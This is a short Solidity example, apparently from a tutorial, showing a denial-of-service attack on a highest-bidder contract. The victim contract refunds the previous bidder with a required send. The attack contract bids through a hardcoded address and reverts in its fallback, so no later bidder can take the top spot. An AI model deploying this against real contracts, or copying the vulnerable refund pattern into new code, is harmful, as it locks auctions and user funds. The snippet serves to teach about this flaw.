Solid contract DoS attack

pragma solidity ^0.5.1;
// Business logic , I'll record who gives more money , And return the last person's money 
contract longTest2{
    
    address payable add;
    uint256 public code;

    function setAdd()public payable returns(uint256){
        require(msg.value > code);
        require(add.send(code));
        code = msg.value;
        add = msg.sender;
        return code;
    }
}

pragma solidity ^0.5.1;
interface Aunt{
    function setAdd()external payable;
}
// Attack contracts 
contract longTest{
    Aunt auntPas = Aunt(0xB302F922B24420f3A3048ddDC4E2761CE37Ea098);
    function set()public payable {
         auntPas.setAdd.value(msg.value)();
    }

    // Write a rollback function , After I give money once, people who give more money later can't call , It means that I have given the money to , I don't want you to come back 
    function() external payable{
        revert();
    }
}